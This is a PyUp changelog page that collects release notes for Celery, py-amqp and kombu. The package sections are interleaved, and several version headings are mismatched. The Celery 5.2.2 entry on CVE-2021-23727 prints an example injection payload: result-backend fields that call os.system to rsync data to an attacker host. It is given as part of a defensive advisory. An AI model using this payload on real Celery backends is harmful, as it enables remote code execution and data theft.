Changelogs >


PyUp actively tracks 429,349 Python packages for vulnerabilities to keep your Python environments secure.

Scan your dependencies



:release-date: 2022-06-29 5:15 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Remove Python 3.4 compatibility code.
- call ping to set connection attr for avoiding redis parse_response error.
- Use importlib instead of deprecated pkg_resources.
- fix 7245 uid duplicated in command params.
- Fix subscribed_to maybe empty (7232).
- Fix: Celery beat sleeps 300 seconds sometimes even when it should run a task within a few seconds (e.g. 13 seconds) 7290.
- Add security_key_password option (7292).
- Limit elasticsearch support to below version 8.0.
- try new major release of pytest 7 (7330).
- broker_connection_retry should no longer apply on startup (7300).
- Remove __ne__ methods (7257).
- fix 7200 uid and gid.
- Remove exception-throwing from the signal handler.
- Add mypy to the pipeline (7383).
- Expose more debugging information when receiving unkown tasks. (7405)
- Avoid importing buf_t from billiard's compat module as it was removed.
- Avoid negating a constant in a loop. (7443)
- Ensure expiration is of float type when migrating tasks (7385).
- load_extension_class_names - correct module_name (7406)
- Bump pymongo[srv]>=4.0.2.
- Use inspect.getgeneratorstate in asynpool.gen_not_started (7476).
- Fix test with missing .get() (7479).
- azure-storage-blob>=12.11.0
- Make start_worker, setup_default_app reusable outside of pytest.
- Ensure a proper error message is raised when id for key is empty (7447).
- Crontab string representation does not match UNIX crontab expression.
- Worker should exit with ctx.exit to get the right exitcode for non-zero.
- Fix expiration check (7552).
- Use callable built-in.
- Include dont_autoretry_for option in tasks. (7556)
- fix: Syntax error in arango query.
- Fix custom headers propagation on task retries (7555).
- Silence backend warning when eager results are stored.
- Reduce prefetch count on restart and gradually restore it (7350).
- Improve workflow primitive subclassing (7593).
- test kombu>=5.3.0a1,<6.0 (7598).
- Canvas Header Stamping (7384).

.. _version-5.2.7:



:release-date: 2022-5-26 12:15 P.M UTC+2:00
:release-by: Omer Katz

- Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (7534).

.. _version-5.2.6:



:release-date: 2022-4-04 21:15 P.M UTC+2:00
:release-by: Omer Katz

- load_extension_class_names - correct module_name (7433).
This fixes a regression caused by 7218.

.. _version-5.2.5:



:release-date: 2022-4-03 20:42 P.M UTC+2:00
:release-by: Omer Katz

**This release was yanked due to a regression caused by the PR below**

- Use importlib instead of deprecated pkg_resources (7218).

.. _version-5.2.4:



:release-date: 2022-4-03 20:30 P.M UTC+2:00
:release-by: Omer Katz

- Expose more debugging information when receiving unknown tasks (7404).

.. _version-5.2.3:



:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (6998).
- Split Signature.__or__ into subclasses' __or__ (7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.

.. _version-5.2.2:



:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz

- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

When a task fails, the failure information is serialized in the backend.
In some cases, the exception class is only importable from the
consumer's code base. In this case, we reconstruct the exception class
so that we can re-raise the error on the process which queried the
task's result. This was introduced in 4836.
If the recreated exception type isn't an exception, this is a security issue.
Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
``os.system("rsync /data attacker192.168.56.100:~/data")``
by setting the task's result to a failure in the result backend with the os,
the system function as the exception type and the payload ``rsync /data attacker192.168.56.100:~/data`` as the exception arguments like so:

.. code-block:: python

"exc_module": "os",
'exc_type': "system",
"exc_message": "rsync /data attacker192.168.56.100:~/data"

According to my analysis, this vulnerability can only be exploited if
the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result.
The attacker would also have to gain access to the result backend.
The severity of this security vulnerability is low, but we still
recommend upgrading.

.. _version-5.2.1:


Not secure

:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>
- Remove dependency to case (7077).
- fix: task expiration is timezone aware if needed (7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.

.. _version-5.2.0:


Not secure

:release-date: 2021-11-08 7.15 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Prevent from subscribing to empty channels (7040)
- fix register_task method.
- Fire task failure signal on final reject (6980)
- Limit pymongo version: <3.12.1 (7041)
- Bump min kombu version to 5.2.1

.. _version-5.2.0rc2:


Not secure

:release-date: 2021-11-02 1.54 P.M UTC+3:00
:release-by: Naomi Elstein

- Bump Python 3.10.0 to rc2.
- [] pre-commit autoupdate (6972).
- autopep8.
- Prevent worker to send expired revoked items upon hello command (6975).
- docs: clarify the 'keeping results' section (6979).
- Update deprecated task module removal in 5.0 documentation (6981).
- [] pre-commit autoupdate.
- try python 3.10 GA.
- mention python 3.10 on readme.
- Documenting the default consumer_timeout value for rabbitmq >= 3.8.15.
- Azure blockblob backend parametrized connection/read timeouts (6978).
- Add as_uri method to azure block blob backend.
- Add possibility to override backend implementation with celeryconfig (6879).
- [] pre-commit autoupdate.
- try to fix deprecation warning.
- [] pre-commit autoupdate.
- not needed anyore.
- not needed anyore.
- not used anymore.
- add github discussions forum

.. _version-5.2.0rc1:


Not secure
:release-date: 2021-09-26 4.04 P.M UTC+3:00
:release-by: Omer Katz

- Kill all workers when main process exits in prefork model (6942).
- test kombu 5.2.0rc1 (6947).
- try moto 2.2.x (6948).
- Prepared Hacker News Post on Release Action.
- update setup with python 3.7 as minimum.
- update kombu on setupcfg.
- Added note about automatic killing all child processes of worker after its termination.
- [] pre-commit autoupdate.
- Move importskip before greenlet import (6956).
- amqp: send expiration field to broker if requested by user (6957).
- Single line drift warning.
- canvas: fix kwargs argument to prevent recursion (6810) (6959).
- Allow to enable Events with app.conf mechanism.
- Warn when expiration date is in the past.
- Add the Framework :: Celery trove classifier.
- Give indication whether the task is replacing another (6916).
- Make executable.
- Bump version: 5.2.0b3 → 5.2.0rc1.

.. _version-5.2.0b3:


Not secure

:release-date: 2021-09-02 8.38 P.M UTC+3:00
:release-by: Omer Katz

- Add args to LOG_RECEIVED (fixes 6885) (6898).
- Terminate job implementation for eventlet concurrency backend (6917).
- Add cleanup implementation to filesystem backend (6919).
- [] pre-commit autoupdate (69).
- Add before_start hook (fixes 4110) (6923).
- Restart consumer if connection drops (6930).
- Remove outdated optimization documentation (6933).
- added https verification check functionality in arangodb backend (6800).
- Drop Python 3.6 support.
- update supported python versions on readme.
- [] pre-commit autoupdate (6935).
- Remove appveyor configuration since we migrated to GA.
- pyugrade is now set to upgrade code to 3.7.
- Drop exclude statement since we no longer test with pypy-3.6.
- 3.10 is not GA so it's not supported yet.
- Celery 5.1 or earlier support Python 3.6.
- Fix linting error.
- fix: Pass a Context when chaining fail results (6899).
- Bump version: 5.2.0b2 → 5.2.0b3.

.. _version-5.2.0b2:


Not secure

:release-date: 2021-08-17 5.35 P.M UTC+3:00
:release-by: Omer Katz

- Test windows on py3.10rc1 and pypy3.7 (6868).
- Route chord_unlock task to the same queue as chord body (6896).
- Add message properties to app.tasks.Context (6818).
- handle already converted LogLevel and JSON (6915).
- 5.2 is codenamed dawn-chorus.
- Bump version: 5.2.0b1 → 5.2.0b2.

.. _version-5.2.0b1:


Not secure

:release-date: 2021-08-11 5.42 P.M UTC+3:00
:release-by: Omer Katz

- Add Python 3.10 support (6807).
- Fix docstring for Signal.send to match code (6835).
- No blank line in log output (6838).
- Chords get body_type independently to handle cases where body.type does not exist (6847).
- Fix 6844 by allowing safe queries via app.inspect().active() (6849).
- Fix multithreaded backend usage (6851).
- Fix Open Collective donate button (6848).
- Fix setting worker concurrency option after signal (6853).
- Make ResultSet.on_ready promise hold a weakref to self (6784).
- Update configuration.rst.
- Discard jobs on flush if synack isn't enabled (6863).
- Bump click version to 8.0 (6861).
- Amend IRC network link to Libera (6837).
- Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (6872).
- Fix inspect --json output to return valid json without --quiet.
- Remove celery.task references in modules, docs (6869).
- The Consul backend must correctly associate requests and responses (6823).


py-amqp is fork of amqplib used by Kombu containing additional features and improvements.
The previous amqplib changelog is here:

.. _version-5.1.1:


Not secure
:release-date: 2022-04-17 12:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin

- Use AF_UNSPEC for name resolution (389).

.. _version-5.1.0:


Not secure
:release-date: 2022-03-06 10:05 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Improve performance of _get_free_channel_id, fix channel max bug (385).
- Document memoryview usage, minor frame_writer.write_frame refactor (384).
- Start dropping python 3.6 (387).
- Added experimental __slots__ to some classes (368)
- Relaxed vine version for upcoming release.
- Upgraded topytest 7 (388).

.. _version-5.0.9:


Not secure
:release-date: 2021-04-01 10:30 P.M UTC+6:00
:release-by: Asiff Saif Uddin

- Wheels are no longer universal.
- Revert "Added redis transport key_prefix from envvars".
- Redis Transport: Small improvements of `SentinelChannel` (1253).
- Fix pidbox not using default channels.
- Revert "on worker restart - restore visible regardless to time (905)".
- Add vine to dependencies.
- Pin urllib3<1.26 to fix failing unittests.
- Add timeout to producer publish (1269).
- Remove python2 compatibility code (1277).
- redis: Support Sentinel with SSL.
- Support for Azure Service Bus 7.0.0 (1284).
- Allow specifying session token (1283).
- kombu/asynchronous/http/curl: implement _set_timeout.
- Disable namedtuple to object feature in simplejson (1297).
- Update to tox docker 2.0.
- SQS back-off policy (1301).
- Fixed SQS unittests.
- Fix: non kombu json message decoding in SQS transport (1306).
- Add Github Actions CI (1309).
- Update default pickle protocol version to 4 (1314).
- Update (1311).
- Drop support for the lzma backport.
- Drop obsolete code importing pickle (1315).
- Update default login method for librabbitmq and pyamqp (936).
- SQS Broker - handle STS authentication with AWS (1322).
- Min py-amqp version is v5.0.6 (1325).
- Numerous docs & example fixes.
- Use a thread-safe implementation of cached_property (1316).

.. _version-5.0.2:


:release-date: 2021-12-20 11:00 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Append to _used_channel_ids in _used_channel_ids

.. _version-5.0.8:


:release-date: 2021-12-19 11:15 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Reduce memory usage of Connection (377)
- Add additional error handling around code where an OSError
may be raised on failed connections. Fixes (378)

.. _version-5.0.7:


:release-date: 2021-12-13 15:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin

- Remove dependency to case
- Bugfix: not closing socket after server disconnect

.. _version-5.0.6:


Not secure
:release-date: 2021-04-01 10:45 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Change the order in which context.check_hostname and context.verify_mode get set
in SSLTransport._wrap_socket_sni. Fixes bug introduced in 5.0.3 where setting
context.verify_mode = ssl.CERT_NONE would raise
"ValueError: Cannot set verify_mode to CERT_NONE when check_hostname is enabled."
Setting context.check_hostname prior to setting context.verify_mode resolves the
- Remove TCP_USER_TIMEOUT option for Solaris (355)
- Pass long_description to setup() (353)
- Fix for tox-docker 2.0
- Moved to GitHub actions CI (359)

.. _version-5.0.5:


Not secure
:release-date: 2021-01-28 4:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Removed mistakenly introduced code which was causing import errors

.. _version-5.0.4:


Not secure
:release-date: 2021-01-28 2:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Add missing load_default_certs() call to fix a regression in v5.0.3 release. (350)

.. _version-5.0.3:


Not secure
:release-date: 2021-01-19 9:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Change the default value of ssl_version to None. When not set, the
proper value between ssl.PROTOCOL_TLS_CLIENT and ssl.PROTOCOL_TLS_SERVER
will be selected based on the param server_side in order to create
a TLS Context object with better defaults that fit the desired
connection side.

- Change the default value of cert_reqs to None. The default value
of ctx.verify_mode is ssl.CERT_NONE, but when ssl.PROTOCOL_TLS_CLIENT
is used, ctx.verify_mode defaults to ssl.CERT_REQUIRED.

- Fix context.check_hostname logic. Checking the hostname depends on
having support of the SNI TLS extension and being provided with a
server_hostname value. Another important thing to mention is that
enabling hostname checking automatically sets verify_mode from
ssl.CERT_NONE to ssl.CERT_REQUIRED in the stdlib ssl and it cannot
be set back to ssl.CERT_NONE as long as hostname checking is enabled.

- Refactor the SNI tests to test one thing at a time and removing some
tests that were being repeated over and over.

.. _version-5.0.2:


Not secure
:release-date: 2020-11-08 6:50 P.M UTC+3:00
:release-by: Omer Katz

- Whhels are no longer universal.

Contributed by **Omer Katz**

- Added debug representation to Connection and *Transport classes

Contributed by **Matus Valo**

- Reintroduce ca_certs and ciphers parameters of SSLTransport._wrap_socket_sni()

This fixes issue introduced in commit: 53d6777

Contributed by **Matus Valo**

- Fix infinite wait when using confirm_publish

Contributed by **Omer Katz** & **RezaSi**

.. _version-5.0.1:


Not secure
:release-date: 2020-09-06 6:10 P.M UTC+3:00
:release-by: Omer Katz

- Require vine 5.0.0.

Contributed by **Omer Katz**

.. _version-5.0.0:


Not secure
:release-date: 2020-09-03 3:20 P.M UTC+3:00
:release-by: Omer Katz

- Stop to use deprecated method ssl.wrap_socket.

Contributed by **Hervé Beraud**

.. _version-5.0.0b1:


Not secure
:release-date: 2020-09-01 6:20 P.M UTC+3:00
:release-by: Omer Katz

- Dropped Python 3.5 support.

Contributed by **Omer Katz**

- Removed additional compatibility code.

Contributed by **Omer Katz**

.. _version-5.0.0a1:


Not secure
:release-date: 2019-04-01 4:30 P.M UTC+3:00
:release-by: Omer Katz

- Dropped Python 2.x support.

Contributed by **Omer Katz**

- Dropped Python 3.4 support.

Contributed by **Omer Katz**

- Depend on :pypi:`vine` 5.0.0a1.

Contributed by **Omer Katz**

Code Cleanups & Improvements:

- **Omer Katz**

.. _version-2.6.0:


:release-date: 2020-06-24 1.15 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert incompatible changes in 1193 and additional improvements (1211)
- Default_channel should reconnect automatically (1209)

.. _version-4.6.10:


:release-date: 2020-06-03 10.45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Doc improvement.
- set _connection in _ensure_connection (1205)
- Fix for the issue 1172
- reuse connection [bug fix]

.. _version-4.6.9:


:release-date: 2020-06-01 14.00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Prevent failure if AWS creds are not explicitly defined on predefined.
- Raise RecoverableConnectionError in maybe_declare with retry on and.
- Fix for the issue 1172 .
- possible fix for 1174 .
- Fix: make SQLAlchemy Channel init thread-safe
- Added integration testing infrastructure for RabbitMQ
- Initial redis integration tests implementation
- SQLAlchemy transport: Use Query.with_for_update() instead of deprecated
- Fix Consumer Encoding
- Added Integration tests for direct, topic and fanout exchange types
- Added TTL integration tests
- Added integration tests for priority queues
- fix 100% cpu usage on linux while using sqs
- Modified Mutex to use redis LuaLock implementation
- Fix: eliminate remaining race conditions from SQLAlchemy Channel
- Fix connection imaybe_declare (1196)
- Fix for issue 1198: Celery crashes in cases where there aren’t enough
- Ensure connection when connecting to broker
- update pyamqp to 2.6 with optional cythonization

.. _version-4.6.8:


:release-date: 2020-03-29 20:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Added support for health_check_interval option in broker_transport_options (1145)
- Added retry_on_timeout parameter to Redis Channel (1150)
- Added support for standard values for ssl_cert_reqs query parameter for Redis (1139)
- Added predefined_queues option to SQS transport (1156)
- Added ssl certificate verification against ca certificates when amqps is used for pyamqp transport (1151)
- Fix issue (701) where kombu.transport.redis.Mutex is broken in python 3 (1141)
- Fix brop error in Redis Channel (1144)

.. _version-4.6.7:


:release-date: 2019-12-07 20:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Use importlib.metadata from the standard library on Python 3.8+ (1086).
- Add peek lock settings to be changed using transport options (1119).
- Fix redis health checks (1122).
- Reset ready before execute callback (1126).
- Add missing parameter queue_args in kombu.connection.SimpleBuffer (1128)

.. _version-4.6.6:


:release-date: 2019-11-11 00:15 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert _lookup_direct and related changes of redis.
- Python 3.8 support
- Fix 'NoneType' object has no attribute 'can_read' bug of redis transport
- Issue 1019 Fix redis transport socket timeout
- Add wait timeout settings to receive queue message (1110)
- Bump py-amqp to 2.5.2

.. _version-4.6.5:


:release-date: 2019-09-30 19:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert _lookup api and correct redis implemetnation.
- Major overhaul of redis test cases by adding more full featured fakeredis module.
- Add more test cases to boost coverage of kombu redis transport.
- Refactor the producer consumer test cases to be based on original mocks and be passing
- Fix lingering line length issue in test.
- Sanitise url when include_password is false
- Pinned pycurl to as it is the latest build with wheels provided
- Bump py-amqp to 2.5.2

.. _version-4.6.4:


:release-date: 2019-08-14 22:45 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Use importlib-metadata instead of pkg_resources for better performance
- Allow users to switch URLs while omitting the resource identifier (1032)
- Don't stop receiving tasks on 503 SQS error. (1064)
- Fix maybe declare (1066)
- Revert "Revert "Use SIMEMBERS instead of SMEMBERS to check for queue (Redis Broker)
- Fix MongoDB backend to work properly with TTL (1076)
- Make sure that max_retries=0 is treated differently than None (1080)
- Bump py-amqp to 2.5.1

.. _version-4.6.3:


:release-date: 2019-06-15 12:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert FastUUID for kombu 4.6

.. _version-4.6.2:


:release-date: 2019-06-15 12:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix sbugs and regressions

.. _version-4.6.1:


:release-date: 2019-06-06 10:30 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix some newly introduced bug in kombu 4.6

.. _version-4.6.0:


:release-date: 2019-05-30 15:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Dropped python 3.4

- Bump py-amqp to 2.5.0

- Use SIMEMBERS instead of SMEMBERS to check for queue (redis broker)

* Add `_lookup_direct` method to virtual channel. (994)

Add possibility to optimize lookup for queue in direct
exchange set.

* Add `_lookup_direct` method to redis virtual channel. (994)

Use `SISMEMBER` instead of `SMEMBERS` command to check if queue
exists in a set. Time complexity is increased from O(N) to O(1)
where N is the set cardinality.

Contributed by **Stevan Milic** and **Asif Saif Uddin**

- Include priority in properties only if it's not None.
Since we attempt to serialize the priority property if it exists
in the dictionary it must be an integer.

Contributed by **Omer Katz**

- Removed dangerous default mutable arguments from function
definitions where appropriate.

Contributed by **Todd Cook**

- Codebase improvements and fixes by:

- **Omer Katz**
- **Asif Saif Uddin**

.. _version-4.5.0:


:release-date: 2019-03-3 18:30 P.M UTC+3:00
:release-by: Omer Katz

- The Redis transport now supports a custom separator for keys.

Previously when storing a key in Redis which represents a queue
we used the hardcored value ``\x06\x16`` separator to store
different attributes of the queue in the queue's name.

The separator is now configurable using the sep
transport option:

.. code-block:: python

with Connection('redis://', transport_options={
'sep': ':',

Contributed by **Joris Beckers**

- When the SQS server returns a timeout we ignore it and keep trying
instead of raising an error.

This will prevent Celery from raising an error and hanging.

Contributed by **Erwin Rossen**

- Properly declare async support for the Qpid transport.

If you are using this transport we strongly urge you to upgrade.

Contributed by **Rohan McGovern**

- Revert `celery/kombu906 <>`_ and
introduce unique broadcast queue names as an optional keyword argument.

If you want each broadcast queue to have a unique name specify `unique=True`:

.. code-block:: pycon

>>> from kombu.common import Broadcast
>>> q = Broadcast(queue='foo', unique=True)
>>> q = Broadcast(queue='foo')

- Codebase improvements and fixes by:

- **Omer Katz**

.. _version-4.4.0:


Not secure
:release-date: 2019-03-3 9:00 P.M UTC+2:00
:release-by: Omer Katz

- Restore bz2 import checks in compression module.

The checks were removed in `celery/kombu938 <>`_ due to assumption that it only affected Jython.
However, bz2 support can be missing in Pythons built without bz2 support.

Contributed by **Patrick Woods**

- Fix regression that occurred in 4.3.0
when parsing Redis Sentinel master URI containing password.

Contributed by **Peter Lithammer**

- Handle the case when only one Redis Sentinel node is provided.

Contributed by **Peter Lithammer**

- Support SSL URL parameters correctly for `rediss://`` URIs.

Contributed by **Paul Bailey**

- Revert `celery/kombu954 <>`_.
Instead bump the required redis-py dependency to 3.2.0
to include this fix `andymccurdy/redis-py4e1e748 <>`_.

Contributed by **Peter Lithammer**

- Added support for broadcasting using a regular expression pattern
or a glob pattern to multiple Pidboxes.

Contributed by **Jason Held**

.. _version-4.3.0:


Not secure
:release-date: 2019-01-14 7:00 P.M UTC+2:00
:release-by: Omer Katz

- Added Python 3.7 support.

Contributed by **Omer Katz**, **Mads Jensen** and **Asif Saif Uddin**

- Avoid caching queues which are declared with a TTL.

Queues that are declared with a TTL are now also be excluded from the
in-memory cache in case they expire between publishes on the same channel.

Contributed by **Matt Yule-Bennett**

- Added an index to the Message table for the SQLAlchemy transport.

The index allows to effectively sorting the table by the message's timestamp.

.. note::

We do not provide migrations for this model yet.
You will need to add the index manually if you are already
using the SQLAlchemy transport.

The syntax may vary between databases.
Please refer to your database's documentation for instructions.

Contributed by **Mikhail Shcherbinin**

- Added a timeout that limits the amount of time we retry
to reconnect to a transport.

Contributed by **:github_user:`tothegump`**

- :class:``celery.asynchronous.hub.Hub`` is now reentrant.

This allows calling :func:`celery.bin.celery.main` to revive a worker in
the same process after rescuing from shutdown (:class:``SystemExit``).

Contributed by **Alan Justino da Silva**

- Queues now accept string exchange names as arguments as documented.

Tests were added to avoid further regressions.

Contributed by **Antonio Gutierrez**

- Specifying names for broadcast queues now work as expected.

Previously, named broadcast queues did not create multiple queues per worker.
They incorrectly declared the named queue which resulted in one queue per
fanout exchange, thus missing the entire point of a fanout exchange.
The behavior is now matched to unnamed broadcast queues.

Contributed by **Kuan Hsuan-Tso**

- When initializing the Redis transport in conjunction with gevent
restore all unacknowledged messages to queue.

Contributed by **Gal Cohen**

- Allow :class:``kombu.simple.SimpleQueue`` to pass queue_arguments to Queue object.

This allows :class:``kombu.simple.SimpleQueue`` to connect to RabbitMQ queues with
custom arguments like 'x-queue-mode'='lazy'.

Contributed by **C Blue Neeh**

- Add support for 'rediss' scheme for secure Redis connections.

The rediss scheme defaults to the least secure form, as
there is no suitable default location for `ca_certs`. The recommendation
would still be to follow the documentation and specify `broker_use_ssl` if
coming from celery.

Contributed by **Daniel Blair**

- Added the Azure Storage Queues transport.

The transport is implemented on top of Azure Storage
Queues. This offers a simple but scalable and low-cost PaaS
transport for Celery users in Azure. The transport is intended to be
used in conjunction with the Azure Block Blob Storage backend.

Contributed by **Clemens Wolff**, **:github_user:`ankurokok`**,
**Denis Kisselev**, **Evandro de Paula**, **Martin Peck**
and **:github_user:`michaelperel`**

- Added the Azure Service Bus transport.

The transport is implemented on top of Azure Service Bus and
offers PaaS support for more demanding Celery workloads in Azure.
The transport is intended to be used in conjunction with the Azure
CosmosDB backend.

Contributed by **Clemens Wolff**, **:github_user:`ankurokok`**,
**Denis Kisselev**, **Evandro de Paula**, **Martin Peck**
and **:github_user:`michaelperel`**

- Drop remaining mentions of Jython support completely.

Contributed by **Asif Saif Uddin** and **Mads Jensen**

- When publishing messages to the Pidbox, retry if an error occurs.

Contributed by **Asif Saif Uddin**

- Fix infinite loop in :method:``kombu.asynchronous.hub.Hub.create_loop``.

Previous attempt to fix the problem (PR kombu/760) did not consider
an edge case. It is now fixed.

Contributed by **Vsevolod Strukchinsky**

- Worker shutdown no longer duplicates messages when using the SQS broker.

Contributed by **Mintu Kumar Sah**

- When using the SQS broker, prefer boto's default region before our hardcoded default.

Contributed by **Victor Villas**

- Fixed closing of shared redis sockets which previously caused Celery to hang.

Contributed by **Alexey Popravka**

- the `Pyro`_ transport (:mod:`kombu.transport.pyro`) now works with
recent Pyro versions. Also added a Pyro Kombu Broker that this transport
needs for its queues.

Contributed by **Irmen de Jong**

- Handle non-base64-encoded SQS messages.

Fix contributed by **Tim Li**, **Asif Saif Uddin** and **Omer Katz**.

- Move the handling of Sentinel failures to the redis library itself.

Previously, Redis Sentinel worked only if the first node's sentinel
service in the URI was up. A server outage would have caused downtime.

Contributed by **Brian Price**

- When using Celery and the pickle serializer with binary data as part of the
payload, `UnicodeDecodeError` would be raised as the content was not utf-8.
We now replace on errors.

Contributed by **Jian Dai**

- Allow setting :method:``boto3.sqs.create_queue`` Attributes via transport_options.

Contributed by **Hunter Fernandes**

- Fixed infinite loop when is replaced by revive() on connection

Contributed by **Tzach Yarimi**

- Added optional support for Brotli compression.

Contributed by **Omer Katz**

- When using the SQS broker, FIFO queues with names that ended with the 'f' letter
were incorrectly parsed. This is now fixed.

Contributed by **Alex Vishnya** and **Ilya Konstantinov**

- Added optional support for LZMA compression.

Contributed by **Omer Katz**

- Added optional support for ZStandard compression.

Contributed by **Omer Katz**

- Require py-amqp 2.4.0 as the minimum version.

Contributed by **Asif Saif Uddin**

- The value of DISABLE_TRACEBACKS environment variable is now respected on debug, info
and warning logger level.

Contributed by **Ludovic Rivallain**

- As documented in kombu/741 and eventlet/eventlet415
there is a mismatch between the monkey-patched eventlet queue
and the interface Kombu is expecting.
This causes Celery to crash when the `broker_pool_limit`
configuration option is set
eventlet/eventlet415 suggests that the mutex can be a noop.
This is now the case.

Contributed by **Josh Morrow**

- Codebase improvements and fixes by:

- **Omer Katz**
- **Mads Jensen**
- **Asif Saif Uddin**
- **Lars Rinn**

- Documentation improvements by:

- **Jon Dufresne**
- **Fay Cheng**
- **Asif Saif Uddin**
- **Kyle Verhoog**
- **Noah Hall**
- **:github_user:`brabiega`**

.. _version-4.2.2-post1:


:release-date: 2019-01-01 04:00 P.M IST
:release-by: Omer Katz

.. note::

The previous release contained code from master.
It is now deleted from PyPi.
Please use this release instead.

- No changes since previous release.

.. _version-4.2.2:


Not secure
:release-date: 2018-12-06 04:30 P.M IST
:release-by: Omer Katz

- Support both Redis client version 2.x and version 3.x.

Contributed by **Ash Berlin-Taylor** and **Jeppe Fihl-Pearson**

.. _version-4.2.1:


Not secure
:release-date: 2018-05-21 09:00 A.M IST
:release-by: Omer Katz

.. note::

The 4.2.0 release contained remains of the ``async`` module by accident.
This is now fixed.

- Handle librabbitmq fileno raising a ValueError when socket is not connected.

Contributed by **Bryan Shelton**

.. _version-4.2.0:


Not secure
:release-date: 2018-05-21 09:00 A.M IST
:release-by: Omer Katz

- Now passing ``max_retries``, ``interval_start``, ``interval_step``,
``interval_max`` parameters from broker ``transport_options`` to
:meth:`~kombu.Connection.ensure_connection` when returning
:meth:`~kombu.Connection.default_connection` (Issue 765).

Contributed by **Anthony Lukach**.

- Qpid: messages are now durable by default

Contributed by **David Davis**

- Kombu now requires version 2.10.4 or greater of the redis library,
in line with Celery

Contributed by **Colin Jeanne**

- Fixed ImportError in some environments with outdated simplejson

Contributed by **Aaron Morris**

- MongoDB: fixed failure on MongoDB versions with an "-rc" tag

Contributed by **dust8**

- Ensure periodic polling frequency does not exceed timeout in
virtual transport

Contributed by **Arcadiy Ivanov**

- Fixed string handling when using python-future module

Contributed by **John Koehl**

- Replaced "async" with "asynchronous" in preparation for Python 3.7

Contributed by **Thomas Achtemichuk**

- Allow removing pool size limit when in use

Contributed by **Alex Hill**

- Codebase improvements and fixes by:

- **j2gg0s**
- **Jon Dufresne**
- **Jonas Lergell**
- **Mads Jensen**
- **Nicolas Delaby**
- **Omer Katz**

- Documentation improvements by:

- **Felix Yan**
- **Harry Moreno**
- **Mads Jensen**
- **Omer Katz**
- **Radha Krishna. S.**
- **Wojciech Matyśkiewicz**

.. _version-4.1.0:


Not secure
:release-date: 2017-07-17 04:45 P.M MST
:release-by: Anthony Lukach

- SQS: Added support for long-polling on all supported queries. Fixed bug
causing error on parsing responses with no retrieved messages from SQS.

Contributed by **Anthony Lukach**.

- Async hub: Fixed potential infinite loop while performing todo tasks
(Issue celery/celery3712).

- Qpid: Fixed bug where messages could have duplicate ``delivery_tag``
(Issue 563).

Contributed by **bmbouter**.

- MongoDB: Fixed problem with using ``readPreference`` option at pymongo 3.x.

Contributed by **Mikhail Elovskikh**.

- Re-added support for :pypi:``SQLAlchemy``

Contributed by **Amin Ghadersohi**.

- SQS: Fixed bug where hostname would default to ``localhost`` if not specified
in settings.

Contributed by **Anthony Lukach**.

- Redis: Added support for reading password from transport URL (Issue 677).

Contributed by **George Psarakis**.

- RabbitMQ: Ensured safer encoding of queue arguments.

Contributed by **Robert Kopaczewski**.

- Added fallback to :func:``uuid.uuid5`` in :func:``generate_oid`` if
:func:``uuid.uuid3`` fails.

Contributed by **Bill Nottingham**.

- Fixed race condition and innacurrate timeouts for
:class:``kombu.simple.SimpleBase`` (Issue 720).

Contributed by **c-nichols**.

- Zookeeper: Fixed last chroot character trimming

Contributed by **Dima Kurguzov**.

- RabbitMQ: Fixed bug causing an exception when attempting to close an
already-closed connection (Issue 690).

Contributed by **eavictor**.

- Removed deprecated use of StopIteration in generators and invalid regex
escape sequence.

Contributed by **Jon Dufresne**.

- Added Python 3.6 to CI testing.

Contributed by **Jon Dufresne**.

- SQS: Allowed endpoint URL to be specified in the boto3 connection.

Contributed by **georgepsarakis**.

- SQS: Added support for Python 3.4.

Contributed by **Anthony Lukach**.

- SQS: ``kombu[sqs]`` now depends on :pypi:`boto3` (no longer using

- Adds support for Python 3.4+
- Adds support for FIFO queues (Issue 678) and (Issue celery/celery3690)
- Avoids issues around a broken endpoints file (Issue celery/celery3672)

Contributed by **Mischa Spiegelmock** and **Jerry Seutter**.

- Zookeeper: Added support for delaying task with Python 3.

Contributed by **Dima Kurguzov**.

- SQS: Fixed bug where :meth:`kombu.transport.SQS.drain_events` did not support
callback argument (Issue 694).

Contributed by **Michael Montgomery**.

- Fixed bug around modifying dictionary size while iterating over it
(Issue 675).

Contributed by **Felix Yan**.

